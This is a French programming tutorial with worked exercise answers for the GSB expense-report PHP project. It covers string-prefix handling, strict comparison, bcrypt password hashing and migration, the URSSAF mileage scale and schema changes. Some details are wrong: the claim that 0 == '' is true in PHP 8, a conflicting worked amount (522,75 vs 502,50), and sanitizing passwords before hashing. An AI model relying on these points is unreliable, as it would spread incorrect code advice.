// 1. MODÈLE — Marquer comme refusé (PdoGsb::refuserFraisHorsForfait)
// CONCAT() ajoute le préfixe. La condition NOT LIKE évite de doubler le préfixe.
"UPDATE lignefraishorsforfait
SET libelle = CONCAT('REFUSE ', libelle)
WHERE id = :unIdFrais
AND libelle NOT LIKE 'REFUSE %'"
// 2. MODÈLE — Exclure du calcul (PdoGsb::calculerMontantFiche)
// Les lignes REFUSE ne sont pas comptées dans le montant remboursé.
"SELECT SUM(montant) FROM lignefraishorsforfait
WHERE idvisiteur = :v AND mois = :m
AND libelle NOT LIKE 'REFUSE %'"
// ↑ Cette clause SQL exclut toutes les lignes dont le libellé commence par "REFUSE "
// 3. VUE VISITEUR — Affichage distinct (v_etatFrais.php)
// strpos() détecte le préfixe, la vue affiche badge rouge + texte barré.
$estRefuse = (strpos($libelle, 'REFUSE ') === 0);
PHP + SQL
Idempotence : la méthode peut être appelée plusieurs fois sur la même ligne sans effet négatif. Si la ligne est déjà préfixée par "REFUSE ", la condition NOT LIKE 'REFUSE %' empêche de doubler le préfixe. C'est une propriété importante : une opération idempotente donne toujours le même résultat, peu importe le nombre d'appels.
🔍 strpos() et le piège de ===
strpos() cherche une sous-chaîne dans une chaîne. Son résultat peut être 0 (trouvé au début) ou false (absent) — et en PHP, 0 == false est vrai !
Le comportement de strpos()
// strpos(chaîne, sous-chaîne) → position (int) ou false
strpos('REFUSE Taxi', 'REFUSE '); // → 0 (trouvé à la position 0)
strpos('Taxi REFUSE', 'REFUSE '); // → 5 (trouvé à la position 5)
strpos('Taxi / VTC', 'REFUSE '); // → false (absent)
PHP
// 0 == false est VRAI en PHP !
// Donc si "REFUSE" est en position 0,
// la condition est considérée comme false.
// → La ligne n'est jamais détectée.
if (strpos($libelle, 'REFUSE ')) {
// ❌ Ne s'exécute pas si position = 0
}
// === compare aussi le TYPE.
// 0 === false est FAUX (int ≠ bool).
// On détecte bien la position 0.
if (strpos($libelle, 'REFUSE ') === 0) {
// ✅ S'exécute si "REFUSE " est au début
}
== vs === — La règle à retenir
| Comparaison | Type | Résultat |
|---|---|---|
0 == false | Lâche | ✅ true (PHP convertit les types) |
0 === false | Stricte | ❌ false (int ≠ bool) |
0 == "" | Lâche | ✅ true (PIÈGE !) |
0 === "" | Stricte | ❌ false (int ≠ string) |
1 == "1" | Lâche | ✅ true |
1 === "1" | Stricte | ❌ false (int ≠ string) |
Règle pratique : toujours utiliser === avec strpos(), array_search() et toute fonction qui peut retourner 0 ou false.
✏️ Exercice
- Que retourne
strpos("Bonjour", "B")? - Pourquoi
if (strpos("Bonjour", "B"))est un bug alors queif (strpos("Bonjour", "o"))fonctionne ? - Écris la condition qui vérifie si un libellé se termine par " €" (utilise
str_ends_with()disponible en PHP 8).
strpos("Bonjour", "B")retourne0(entier) — "B" se trouve à la position 0, le début de la chaîne.if (strpos("Bonjour", "B"))évalueif (0)→ false, car0est une valeur fausse en PHP. "B" est trouvé mais ignoré ! Avec"o",strposretourne1(truthy) → ça "fonctionne" par hasard. La bonne écriture :if (strpos($s, "B") !== false)ouif (str_contains($s, "B"))(PHP 8).if (str_ends_with($libelle, ' €')) { ... }
En PHP 7 :if (substr($libelle, -2) === ' €') { ... }
🎯 match() — Le switch moderne de PHP 8
match() est comme switch() mais retourne une valeur, utilise la comparaison stricte === et n'a pas besoin de break.
switch($etat) {
case 'CR':
$couleur = 'bg-secondary';
break;
case 'VA':
$couleur = 'bg-success';
break;
default:
$couleur = 'bg-info';
}
$couleur = match($etat) {
'CR' => 'bg-secondary',
'VA' => 'bg-success',
default => 'bg-info',
};
// Plus court, retourne une valeur,
// comparaison stricte === automatique.
Différences clés
| switch() | match() | |
|---|---|---|
| Retourne une valeur | Non | Oui |
| Comparaison | == (lâche) | === (stricte) |
| Besoin de break | Oui | Non |
| Sans default | Silencieux | Lève UnhandledMatchError |
| Depuis PHP | PHP 4 | PHP 8.0 |
✂️ Retirer un préfixe connu pour l'affichage
On stocke "REFUSE Taxi / VTC" en BDD mais on veut afficher seulement "Taxi / VTC" avec un badge rouge. substr() résout ça en 1 ligne.
Pattern : détecter puis nettoyer
$libelle = 'REFUSE Taxi / VTC';
// ÉTAPE 1 : détecter
$estRefuse = (strpos($libelle, 'REFUSE ') === 0); // true
// ÉTAPE 2 : retirer le préfixe pour l'affichage
// strlen('REFUSE ') = 7 → on saute les 7 premiers caractères
// On pourrait aussi écrire strlen('REFUSE ') à la place de 7
// pour que le code s'adapte automatiquement si le préfixe change.
$prefixe = 'REFUSE ';
$libelleAffiche = $estRefuse
? substr($libelle, strlen($prefixe)) // → "Taxi / VTC"
: $libelle; // → libellé inchangé
// ÉTAPE 3 : afficher avec style conditionnel
if ($estRefuse) {
echo '<s class="text-muted">' . htmlspecialchars($libelleAffiche) . '</s>';
echo '<span class="badge bg-danger">Refusé</span>';
} else {
echo htmlspecialchars($libelleAffiche);
echo '<span class="badge bg-success">Accepté</span>';
}
PHP
Fonctions de chaînes utiles — récap
| Fonction | Utilité | Exemple |
|---|---|---|
| strpos() | Trouver la position d'une sous-chaîne | strpos("REFUSE X", "REFUSE ") → 0 |
| substr() | Extraire une partie de chaîne | substr("REFUSE X", 7) → "X" |
| strlen() | Longueur d'une chaîne | strlen("REFUSE ") → 7 |
| str_starts_with() | Commence par ? (PHP 8) | str_starts_with("REFUSE X", "REFUSE ") → true |
| str_ends_with() | Termine par ? (PHP 8) | str_ends_with("prix €", "€") → true |
| str_contains() | Contient ? (PHP 8) | str_contains("REFUSE X", "REFUSE") → true |
PHP 8 bonus : str_starts_with($libelle, 'REFUSE ') est plus lisible que strpos($libelle, 'REFUSE ') === 0 et évite le piège de ===. Les deux sont corrects, mais str_starts_with() est recommandé en PHP 8+.
✏️ Exercice final — tâche 4
- Quel est le résultat de
strpos("Bonjour", "B")comparé avec==et===contrefalse? - Réécris la détection du préfixe REFUSE en utilisant
str_starts_with()(PHP 8). - Explique pourquoi on stocke "REFUSE Taxi" en BDD plutôt qu'une colonne booléenne
est_refuse. - Si le préfixe était "ANNULE : " (9 caractères), comment écrire le
substr()de façon à ne pas avoir à changer le code si le préfixe change à nouveau ?
strpos("Bonjour", "B")retourne0.0 == false→ true (comparaison lâche : PHP convertitfalseen0).0 === false→ false (types différents : int vs bool). Le===est donc obligatoire avecstrpos().if (str_starts_with($libelle, 'REFUSE ')) { ... }- Stocker "REFUSE Taxi" préserve le libellé original visible dans la fiche. Une colonne booléenne
est_refusenécessiterait une jointure pour afficher "Taxi (refusé)", et le visiteur ne verrait pas clairement quelle dépense a été refusée et pourquoi. $prefixe = 'ANNULE : '; $libelleAffiche = substr($libelle, strlen($prefixe));—strlen()calcule la longueur dynamiquement. Si le préfixe change, on ne modifie que la variable$prefixe, pas lesubstr().
🔐 Pourquoi hacher les mots de passe ?
Le problème : stocker les mots de passe en clair
Imaginez que la base de données soit volée (dump SQL exfiltré). Si les mots de passe sont en clair :
- L'attaquant a accès à TOUS les comptes instantanément.
- Comme la plupart des gens réutilisent leurs mots de passe, les comptes Gmail, bancaires, etc. sont aussi compromis.
- L'entreprise est responsable légalement (RGPD art. 32 : obligation de sécuriser les données personnelles).
La solution : le hachage (hashing)
Le hachage transforme un mot de passe en une empreinte de longueur fixe, de façon irréversible :
"azerty" → $2y$10$abc...xyz (60 caractères bcrypt)
"azerty" → $2y$10$def...uvw (hash DIFFÉRENT, car sel différent)
CONCEPT
- Irréversible : on ne peut pas retrouver "azerty" depuis le hash.
- Déterministe : le même algorithme + le même sel → le même hash.
- Avec sel : deux utilisateurs avec le même mot de passe ont des hashes différents.
Hachage ≠ Chiffrement
| Hachage | Chiffrement |
|---|---|
| Irréversible (à sens unique) | Réversible avec la clé de déchiffrement |
| Pas de clé secrète | Nécessite une clé secrète |
| Usages : mots de passe, empreintes de fichiers | Usages : données confidentielles à récupérer (cartes bancaires) |
| Ex : bcrypt, SHA-256 | Ex : AES-256, RSA |
On ne CHIFFRE pas un mot de passe, car si la clé fuit, tous les mots de passe sont récupérables. On les HACHE.
À ne jamais faire : stocker les mots de passe en clair, les chiffrer avec une clé stockée dans le même serveur, ou les comparer directement en SQL (WHERE mdp = '$mdp' — injection SQL + pas de hash).
⚖️ MD5, SHA-1, SHA-256, bcrypt — que choisir ?
Tableau comparatif
| Algorithme | Année | Taille | Vitesse | Sel auto | Mots de passe ? |
|---|---|---|---|---|---|
| MD5 | 1991 | 128 bits | ⚡ Très rapide | ❌ Non | ❌ INTERDIT (collisions, rainbow tables) |
| SHA-1 | 1995 | 160 bits | ⚡ Rapide | ❌ Non | ❌ INTERDIT (collision prouvée en 2017) |
| SHA-256 | 2001 | 256 bits | ⚡ Rapide | ❌ Non (sauf si ajouté manuellement) | ⚠️ Insuffisant seul (trop rapide → brute-force facile) |
| SHA-512 | 2001 | 512 bits | ⚡ Rapide | ❌ Non | ⚠️ Insuffisant seul (même problème que SHA-256) |
| bcrypt | 1999 | 60 chars | 🐢 Lent intentionnellement | ✅ Oui (128 bits) | ✅ RECOMMANDÉ (OWASP, NIST) |
| Argon2id | 2015 | variable | 🐢 Très lent | ✅ Oui | ✅ RECOMMANDÉ (gagnant PHC 2015) |
Pourquoi MD5 et SHA-1 sont-ils interdits ?
Une collision = deux entrées différentes produisent le même hash. En 2004, les chercheurs Wang et al. ont démontré des collisions en quelques heures. Aujourd'hui, un GPU peut tester 50 milliards de MD5 par seconde. Des "rainbow tables" (listes précalculées de hashes) couvrent tous les mots de passe courants.
Vulnérabilité théorique connue depuis 2005. En 2017, Google a publié l'attaque "SHAttered" : deux fichiers PDF différents avec le même SHA-1. Un GPU peut tester 8 milliards de SHA-1 par seconde. SHA-1 est désormais retiré de tous les navigateurs pour les certificats HTTPS.
Pourquoi SHA-256 est insuffisant pour les mots de passe
// SHA-256 est RAPIDE — c'est son problème pour les mots de passe
$hash = hash('sha256', $mdp);
// Un GPU récent → 2 MILLIARDS de SHA-256/seconde
// "azerty" + 2 milliards d'essais = trouvé en quelques secondes
// Avec sel manuel — mieux, mais toujours trop rapide
$sel = bin2hex(random_bytes(32)); // sel aléatoire
$hash = hash('sha256', $sel . $mdp);
// Problème : doit stocker le sel séparément, et toujours trop rapide
PHP
SHA-256 n'a pas de "cost factor" : on ne peut pas le rendre plus lent quand les GPUs progressent. bcrypt, lui, peut être recalibré.
Pourquoi bcrypt est le choix standard
// bcrypt est LENT — c'est voulu
// cost factor 10 → 2^10 = 1024 itérations internes → ~80ms par hash
// Pour l'utilisateur qui se connecte UNE FOIS : imperceptible (80ms)
// Pour un attaquant qui teste 10 millions de mots de passe :
// 10 000 000 × 80ms = 800 000 secondes ≈ 9 JOURS (sans GPU dédié)
// bcrypt génère un hash qui CONTIENT le sel :
// $2y$10$SSSSSSSSSSSSSSSSSSSSS.HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
// ^^^^ ^^ ^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// algo cost sel (22 chars base64) hash (31 chars base64)
CONCEPT
OWASP 2024 : Recommande bcrypt (cost ≥ 10), scrypt, ou Argon2id pour les mots de passe. SHA-256 sans itérations est classé comme insuffisant. MD5 et SHA-1 sont explicitement interdits.
✏️ Questions de compréhension
- Expliquez en une phrase la différence entre hachage et chiffrement.
- Pourquoi un attaquant qui vole une BDD avec des hashes bcrypt ne peut-il pas immédiatement se connecter ?
- Deux utilisateurs ont le mot de passe "azerty". Pourquoi leurs hashes bcrypt seront-ils différents ?
- Si le "cost factor" de bcrypt passe de 10 à 12, quel est l'impact sur le temps de connexion et sur la sécurité ?
- Le hachage est irréversible (one-way) : mathématiquement impossible de retrouver "azerty" depuis son hash. Le chiffrement est réversible : avec la bonne clé, on peut déchiffrer le message original.
- Le hash bcrypt ne révèle pas le mot de passe. L'attaquant doit le deviner (brute-force). Avec bcrypt, chaque tentative prend ~80 ms → tester 1 million de mots de passe = 22 heures, même avec du matériel puissant.
- bcrypt génère un sel aléatoire de 128 bits à chaque appel et l'intègre dans le hash. Même mot de passe + sel différent = hash totalement différent. Les deux utilisateurs avec "azerty" ont des hashes impossibles à corréler.
- Cost 12 = 2¹² = 4 096 itérations vs 2¹⁰ = 1 024 pour cost 10 → 4× plus lent. Pour l'utilisateur : connexion ~320 ms au lieu de ~80 ms (imperceptible). Pour un attaquant : chaque tentative est aussi 4× plus longue → sécurité accrue proportionnellement.
🔑 password_hash() et password_verify() en PHP
Hacher un mot de passe lors de l'inscription
// ── LORS DE L'INSCRIPTION ou de la modification du mot de passe ──
$mdpBrut = filter_input(INPUT_POST, 'mdp', FILTER_SANITIZE_FULL_SPECIAL_CHARS);
// PASSWORD_BCRYPT → force l'algorithme bcrypt ($2y$)
// PASSWORD_DEFAULT → meilleur algo disponible dans cette version de PHP
// PASSWORD_ARGON2ID → Argon2id (PHP 7.3+, recommandé si disponible)
$hash = password_hash($mdpBrut, PASSWORD_BCRYPT);
// $hash ressemble à : $2y$10$randomSalt22chars.hashValue31chars
// longueur fixe : 60 caractères → colonne BDD CHAR(60) ou VARCHAR(255)
// Enregistrement en BDD avec requête préparée
$stmt = $pdo->prepare('UPDATE visiteur SET mdp = :hash WHERE id = :id');
$stmt->execute([':hash' => $hash, ':id' => $id]);
PHP
Vérifier un mot de passe lors de la connexion
// ── LORS DE LA CONNEXION ──
$mdpSaisi = filter_input(INPUT_POST, 'mdp', FILTER_SANITIZE_FULL_SPECIAL_CHARS);
$hashStocke = $pdo->getMdpVisiteur($login); // retourne le $2y$10$... depuis BDD
// password_verify() :
// 1. Extrait le sel des 22 premiers chars du hash stocké
// 2. Recalcule bcrypt(mdpSaisi, sel) avec le même cost factor
// 3. Compare byte par byte en temps constant (anti-timing attack)
// 4. Retourne true ou false
if (!$hashStocke || !password_verify($mdpSaisi, $hashStocke)) {
// Message vague intentionnellement : ne pas révéler si c'est le login
// ou le mot de passe qui est incorrect (évite l'énumération de comptes)
Utilitaires::ajouterErreur('Login ou mot de passe incorrect');
} else {
// Connexion réussie → charger les infos et ouvrir la session
$visiteur = $pdo->getInfosVisiteur($login);
Utilitaires::connecter($visiteur['id'], $visiteur['nom'], $visiteur['prenom']);
header('Location: index.php');
exit; // toujours exit après un header Location
}
PHP
password_needs_rehash() — rehachage transparent
Si PHP passe de bcrypt (cost 10) à Argon2id comme PASSWORD_DEFAULT, les anciens hashes restent valides. Mais on peut les mettre à niveau automatiquement lors de la prochaine connexion :
if (password_verify($mdp, $hashStocke)) {
// Connexion OK. L'algo ou le cost factor a-t-il évolué ?
if (password_needs_rehash($hashStocke, PASSWORD_DEFAULT)) {
// Oui → on rehache avec le nouvel algo et on met à jour la BDD
$nouveauHash = password_hash($mdp, PASSWORD_DEFAULT);
// UPDATE visiteur SET mdp = $nouveauHash WHERE id = $id
}
// Dans tous les cas on ouvre la session
}
PHP
C'est la migration "sans downtime" : les utilisateurs ne voient rien, leurs hashes sont mis à niveau en silence lors des connexions.
Taille de la colonne BDD : bcrypt produit toujours 60 caractères. Mais PASSWORD_DEFAULT peut retourner Argon2 qui est plus long. Par sécurité, déclarez la colonne en VARCHAR(255) pour s'adapter aux futurs algorithmes.
✏️ Exercice pratique
- Écris le code PHP qui hache le mot de passe "BTS_SIO_2024" avec
PASSWORD_BCRYPTet affiche le hash. - Vérifie que
password_verify("BTS_SIO_2024", $hash)retournetrueet quepassword_verify("BTS_SIO_2025", $hash)retournefalse. - Exécute deux fois
password_hash("azerty", PASSWORD_BCRYPT): les résultats sont-ils identiques ? Pourquoi ? - Quelle est la longueur du hash produit par
hash('sha256', "azerty")? Et parpassword_hash("azerty", PASSWORD_BCRYPT)?
$hash = password_hash('BTS_SIO_2024', PASSWORD_BCRYPT); echo $hash; // → $2y$10$... (60 caractères)var_dump(password_verify('BTS_SIO_2024', $hash)); // bool(true) var_dump(password_verify('BTS_SIO_2025', $hash)); // bool(false)- Non, les deux hashes seront différents. bcrypt génère un sel aléatoire unique à chaque appel. C'est précisément pour ça que deux utilisateurs avec le même mot de passe ont des hashes impossibles à relier.
hash('sha256', 'azerty')→ 64 caractères hexadécimaux.password_hash('azerty', PASSWORD_BCRYPT)→ 60 caractères au format$2y$10$[22 car. de sel][31 car. de hash].
🔄 Migrer les anciens mots de passe en clair
Le scénario : une BDD avec des mots de passe en clair
Un projet existant stockait les mots de passe en clair (ou en MD5). Il faut migrer sans obliger les utilisateurs à se reconnecter.
Le script resources/bdd/uptMdp.php fait cette migration en CLI :
Structure du script de migration
// 1. Lire tous les enregistrements
$rows = $pdo->query('SELECT id, mdp FROM visiteur')->fetchAll();
// 2. Détecter si un hash est déjà en bcrypt
function estDejaHache(string $s): bool {
// Les hashes bcrypt commencent par $2y$, $2a$ ou $2b$
// Les hashes Argon2 commencent par $argon2
return (bool) preg_match('/^\$(2y|2a|2b)\$|^\$argon2/i', $s);
}
// 3. Transaction — atomicité
$pdo->beginTransaction();
foreach ($rows as $row) {
if (estDejaHache($row['mdp'])) continue; // déjà ok
$hash = password_hash($row['mdp'], PASSWORD_BCRYPT);
$stmt->execute([':hash' => $hash, ':id' => $row['id']]);
}
$pdo->commit(); // ou rollBack() si erreur
PHP
Concept clé : la transaction PDO
| Méthode | Rôle |
|---|---|
beginTransaction() | Démarre une transaction : les INSERT/UPDATE/DELETE suivants sont "en attente" |
commit() | Valide toutes les modifications en attente dans la BDD |
rollBack() | Annule toutes les modifications en attente (comme si elles n'avaient pas eu lieu) |
inTransaction() | Retourne true si une transaction est en cours (utile dans les catch) |
Principe d'atomicité : soit TOUT réussit, soit RIEN n'est enregistré. La BDD ne peut pas se retrouver dans un état intermédiaire incohérent.
Exécution du script de migration
# Depuis la racine du projet, en ligne de commande
php resources/bdd/uptMdp.php
# Résultat attendu :
# [IGNORÉ] id=a118y — déjà haché en bcrypt/Argon2.
# [HACHÉ] id=xyz — hash bcrypt enregistré.
# ...
# ✓ Transaction validée.
# Total lu : 150
# Hashés (bcrypt) : 0 ← si déjà tous migrés
# Ignorés : 150
BASH
Le script est idempotent : l'exécuter plusieurs fois ne cause aucun dommage — il ignore les hashes déjà en bcrypt.
Ordre d'opérations : Mettre à jour le code PHP (qui utilise password_verify()) AVANT ou EN MÊME TEMPS que le script de migration. Si vous migrez la BDD en bcrypt et que le code PHP compare encore en clair, personne ne pourra se connecter.
✏️ Exercice final — tâche 5
- Pourquoi exécute-t-on
uptMdp.phpen CLI (ligne de commande) et non depuis un navigateur ? - Que se passe-t-il si on hache deux fois le même mot de passe en bcrypt (
password_hash(password_hash($mdp, PASSWORD_BCRYPT), PASSWORD_BCRYPT)) ? - Comment modifier le script pour augmenter le cost factor à 12 ? Quel est l'impact sur le temps d'exécution ?
- Expliquez pourquoi le message d'erreur de connexion dit "Login ou mot de passe incorrect" et non deux messages séparés.
- Si un utilisateur oublie son mot de passe, peut-on le lui renvoyer par email ? Pourquoi ? Quelle est l'alternative ?
- En CLI, le script n'est pas accessible depuis Internet : pas d'exécution accidentelle ou malveillante depuis un navigateur. Une migration BDD doit être déclenchée une seule fois par un administrateur, jamais par un visiteur lambda.
- On obtient un hash bcrypt d'un hash bcrypt.
password_verify()comparera le mot de passe brut avec le hash d'un hash → résultat toujours false. Tous les utilisateurs migrés ne pourraient plus jamais se connecter. Bug critique. password_hash($mdp, PASSWORD_BCRYPT, ['cost' => 12]);— temps ×4 par hash. Sur 540 visiteurs : ~3 minutes de migration au lieu de ~43 secondes.- Un message unique empêche l'énumération d'utilisateurs : un attaquant ne peut pas distinguer "ce login n'existe pas" de "mauvais mot de passe", ce qui l'empêche de constituer une liste de logins valides.
- Non. bcrypt est irréversible : mathématiquement impossible de retrouver "azerty" depuis son hash. L'alternative standard est la réinitialisation par lien temporaire : token unique envoyé par email, à usage unique, expirant en 1h, permettant de choisir un nouveau mot de passe.
📐 Barème kilométrique URSSAF par puissance fiscale
Pourquoi un barème différencié ?
Un véhicule plus puissant consomme plus. L'État (via l'URSSAF) fixe chaque année un barème qui rembourse les frais kilométriques en fonction de :
- La puissance fiscale du véhicule (en CV — chevaux vapeur fiscaux)
- La distance parcourue dans l'année (3 tranches)
La puissance fiscale n'est pas la puissance réelle du moteur. C'est une valeur administrative calculée par la préfecture selon une formule tenant compte de la cylindrée et des émissions de CO₂.
Tableau URSSAF 2024 (Ressources\ETAT-FRAIS.docx)
| Puissance | ≤ 5 000 km | 5 001 – 20 000 km | > 20 000 km |
|---|---|---|---|
| ≤ 3 CV | d × 0,529 | (d × 0,316) + 1 065 | d × 0,370 |
| 4 CV | d × 0,606 | (d × 0,340) + 1 330 | d × 0,407 |
| 5 CV | d × 0,636 | (d × 0,357) + 1 395 | d × 0,427 |
| 6 CV | d × 0,665 | (d × 0,374) + 1 457 | d × 0,447 |
| ≥ 7 CV | d × 0,697 | (d × 0,394) + 1 515 | d × 0,470 |
Formule générale : montant = (coef × d) + fixe — où d = distance en km.
Note : les tranches sont NON cumulatives — on n'additionne pas les tranches comme pour l'impôt sur le revenu. On applique la formule de la tranche atteinte sur TOUTE la distance.
Exemple de calcul — Sophie GRANDPRÉ (REMBOURSEMENT_FRAIS_202507)
// Visiteur : 7 CV et plus, 750 km ce mois-ci
// Tranche ≤ 5 000 km → montant = d × 0,697
$km = 750;
$coef = 0.697;
$fixe = 0.0;
$montant = ($coef * $km) + $fixe;
// = 0,697 × 750 = 522,75 € (≈ 502,50 selon le doc d'exemple)
PHP
Avant vs après Tâche 6 : avant, la BDD avait un prix fixe à 0,62 €/km pour tout le monde. Après, chaque visiteur a sa puissance en BDD et le service calcule le bon tarif selon le barème URSSAF.
⚙️ La classe Service — principe de Responsabilité Unique (SRP)
Pourquoi une classe Service ?
Dans le MVC pur, le Modèle gère la BDD, la Vue affiche, le Contrôleur orchestre. Mais certaines logiques métier complexes (comme le calcul du barème) n'appartiennent à aucune des trois couches :
- Ce n'est pas de la BDD → pas dans le Modèle (PdoGsb)
- Ce n'est pas de l'affichage → pas dans la Vue
- Ce n'est pas du routage → pas dans le Contrôleur
→ On crée une classe Service dédiée. Elle encapsule un algorithme métier pur, sans dépendance à la BDD ni au HTTP.
Structure de IndemniteKmService
namespace App\Services;
class IndemniteKmService
{
// Méthodes statiques : on n'a pas besoin d'instancier la classe
// car elle n'a pas d'état interne (pas d'attributs).
public static function isEnabled(): bool { ... }
public static function getDefaultPuissance(): ?int { ... }
// TÂCHE 6 — calcule le montant selon puissance + km
public static function computeMontant(
int $kilometres,
int $puissanceCv,
float $fallbackUnit // prix BDD si barème désactivé
): float { ... }
// TÂCHE 6 — retourne le détail (coef, fixe, tranche) pour l'affichage
public static function getTarifApplique(
int $kilometres,
int $puissanceCv
): ?array { ... }
}
PHP
L'algorithme computeMontant — boucle dans une boucle
foreach ($bareme as $range) {
// 1. Chercher la plage de puissance correspondante
$inRange = ($pmin === null || $puissanceCv >= $pmin)
&& ($pmax === null || $puissanceCv <= $pmax);
if ($inRange) {
foreach ($range['tranches'] as $tr) {
// 2. Chercher la tranche km (la première satisfaisante)
// km_max === null = dernière tranche = pas de borne sup
if ($tr['km_max'] === null || $kilometres <= $tr['km_max']) {
// 3. Appliquer la formule
return $tr['fixe'] + $tr['coef'] * $kilometres;
}
}
break; // plage trouvée mais aucune tranche → pas de double parcours
}
}
PHP
Boucle imbriquée : la boucle externe parcourt les plages de puissance (5 plages), la boucle interne parcourt les tranches km (3 tranches max). On sort dès qu'on a trouvé — c'est du court-circuit (return dans la boucle).
✏️ Exercice
- Calculez à la main le montant pour un visiteur 4 CV ayant effectué 12 000 km.
- Pourquoi utilise-t-on
nullpourpuissance_minde la première plage (≤3 CV) ? - Qu'est-ce que le principe SRP (Single Responsibility Principle) ? Pourquoi ce calcul n'est-il pas dans PdoGsb ?
- 4 CV, 12 000 km → tranche "5 001–20 000 km" :
(0,340 × 12 000) + 1 330 = 4 080 + 1 330 = 5 410 €. nullpourpuissance_minsignifie "pas de borne inférieure" : la plage couvre tous les véhicules ≤ 3 CV (1, 2, 3 CV). Avec0, la condition$cv >= 0serait vraie pour toutes les puissances, rendant cette plage toujours prioritaire.- SRP (Principe de Responsabilité Unique) : un module n'a qu'une seule raison de changer.
PdoGsbest responsable de l'accès BDD. Y mettre le calcul km le mêlerait à la logique métier URSSAF. Si le barème change, on modifie uniquementIndemniteKmServicesans toucher au modèle.
📄 Fichier de configuration PHP retournant un tableau
Le pattern "config as PHP array"
Au lieu d'un fichier .ini, .json ou .yaml, PHP peut utiliser un fichier PHP qui retourne directement un tableau. Ce fichier est chargé avec include() :
// config/indemnites_km.php
return [
'enabled' => true,
'default_puissance_cv' => 5,
'bareme' => [
[
'puissance_min' => null,
'puissance_max' => 3,
'tranches' => [
['km_max' => 5000, 'coef' => 0.529, 'fixe' => 0.0],
['km_max' => 20000, 'coef' => 0.316, 'fixe' => 1065.0],
['km_max' => null, 'coef' => 0.370, 'fixe' => 0.0],
],
],
// ... autres plages
],
];
PHP
// IndemniteKmService.php — lecture de la config
public static function getConfig(): array
{
$path = __DIR__ . '/../../config/indemnites_km.php';
if (is_file($path)) {
$cfg = include $path; // include retourne la valeur du return du fichier inclus
if (is_array($cfg)) {
return $cfg;
}
}
return ['enabled' => false, 'bareme' => []]; // fallback
}
PHP
Avantages vs JSON / INI
| Format | Avantages | Inconvénients |
|---|---|---|
| PHP array (return) | Syntax PHP native, types natifs, commentaires, opcache | Seulement pour PHP |
| JSON | Standard universel, lisible par tous les langages | Pas de commentaires, tout est string |
| INI | Simple pour clé=valeur | Limité pour les structures imbriquées |
| YAML | Très lisible, populaire (Laravel) | Extension PHP nécessaire |
Le pattern "PHP array config" est utilisé par de nombreux frameworks (Laravel config/, Symfony parameters). L'opcache PHP met le fichier en cache compilé — plus rapide qu'un JSON parsé à chaque requête.
🗄️ ALTER TABLE — modifier le schéma d'une table existante
Pourquoi ALTER TABLE plutôt que recréer la table ?
En production, la table visiteur contient des données réelles. On ne peut pas la supprimer et la recréer. On modifie son schéma avec ALTER TABLE :
-- Ajoute la colonne puissance_cv à la table existante
-- IF NOT EXISTS : évite l'erreur si la colonne existe déjà (idempotent)
-- TINYINT UNSIGNED : 1 octet, valeurs 0-255 (suffisant pour 3-15 CV)
-- DEFAULT 5 : toutes les lignes existantes auront 5 CV automatiquement
ALTER TABLE `visiteur`
ADD COLUMN IF NOT EXISTS `puissance_cv`
TINYINT UNSIGNED NOT NULL DEFAULT 5
COMMENT 'Puissance fiscale du véhicule (barème URSSAF)';
SQL
Typage SQL — choisir le bon type
| Type | Taille | Plage | Usage ici |
|---|---|---|---|
| TINYINT UNSIGNED | 1 octet | 0 – 255 | ✅ Puissance CV (3-15) |
| SMALLINT | 2 octets | -32768 – 32767 | Trop grand |
| INT | 4 octets | ±2 milliards | Trop grand |
| DECIMAL(5,2) | variable | ex: 999.99 | Pour les montants € |
| CHAR(n) | n octets (fixe) | chaîne de n chars | IDs fixes (id visiteur) |
| VARCHAR(n) | ≤ n+1 octets | chaîne variable | Noms, libellés |
Defensive programming — gérer l'absence de la colonne
// PdoGsb::getPuissanceVisiteur() — si la migration n'a pas encore été jouée
public function getPuissanceVisiteur(string $idVisiteur): int
{
try {
$req = $this->connexion->prepare(
'SELECT puissance_cv FROM visiteur WHERE id = :id LIMIT 1'
);
$req->execute([':id' => $idVisiteur]);
$row = $req->fetch(PDO::FETCH_ASSOC);
if ($row && isset($row['puissance_cv']) && $row['puissance_cv'] > 0) {
return (int)$row['puissance_cv'];
}
} catch (\PDOException $e) {
// La colonne n'existe pas encore (migration non jouée) → on tombe en fallback
// On ne laisse pas l'exception remonter pour ne pas bloquer l'application.
}
return IndemniteKmService::getDefaultPuissance() ?? 5;
}
PHP
Defensive programming : le code continue de fonctionner même si la migration n'a pas encore été jouée. C'est particulièrement utile en équipe où les membres peuvent déployer les changements à des moments différents.
✏️ Exercice final — tâche 6
- Calculez le montant pour un visiteur 5 CV ayant effectué 18 000 km dans l'année.
- Pourquoi
TINYINT UNSIGNEDet pasINTpour stocker une puissance fiscale ? - Que se passe-t-il si on exécute la migration SQL deux fois ? Est-ce un problème ? Pourquoi ?
- Expliquez la différence entre
include 'config.php'qui retourne un tableau etjson_decode(file_get_contents('config.json'), true)— lequel est plus rapide et pourquoi ?
- 5 CV, 18 000 km → tranche "5 001–20 000 km" :
(0,357 × 18 000) + 1 395 = 6 426 + 1 395 = 7 821 €. TINYINT UNSIGNED(0–255) est adapté à une puissance fiscale (1–20 CV en pratique).INT(4 octets) gaspillerait 3 octets par ligne, soit ~1 620 octets inutiles sur 540 visiteurs. Sémantiquement, une puissance ne peut pas être négative →UNSIGNEDest plus correct.ADD COLUMN IF NOT EXISTSest idempotent : si la colonne existe déjà, la commande ne fait rien et ne génère aucune erreur. On peut exécuter le script plusieurs fois sans danger.include 'config.php'est plus rapide : PHP parse le fichier une seule fois et l'OPcache met le bytecode compilé en mémoire RAM pour toutes les requêtes suivantes.json_decode(file_get_contents(...))lit le fichier sur disque et décode le JSON à chaque requête.
📄 Script autonome vs index.php
Pourquoi un fichier séparé telecharger_pdf.php ?
FPDF envoie des en-têtes HTTP au navigateur pour indiquer que la réponse est un PDF :
Content-Type: application/pdf
Content-Disposition: inline; filename="Fiche.pdf"
HTTP
Ces en-têtes doivent être envoyés avant tout contenu HTML. Si on passe par index.php, la vue v_entete.php a déjà envoyé du HTML → impossible d'ajouter des en-têtes → FPDF échoue.
Un script séparé démarre "propre" : aucun HTML n'a été envoyé, on contrôle exactement ce qui part au navigateur.
Structure du script autonome
// 1. Capturer toute sortie accidentelle
ob_start();
// 2. Charger les dépendances manuellement (pas via index.php)
require_once '../vendor/autoload.php';
require_once '../config/bdd.php';
require_once '../resources/Outils/fpdf/fpdf.php';
// 3. Démarrer la session pour accéder à $_SESSION
session_start();
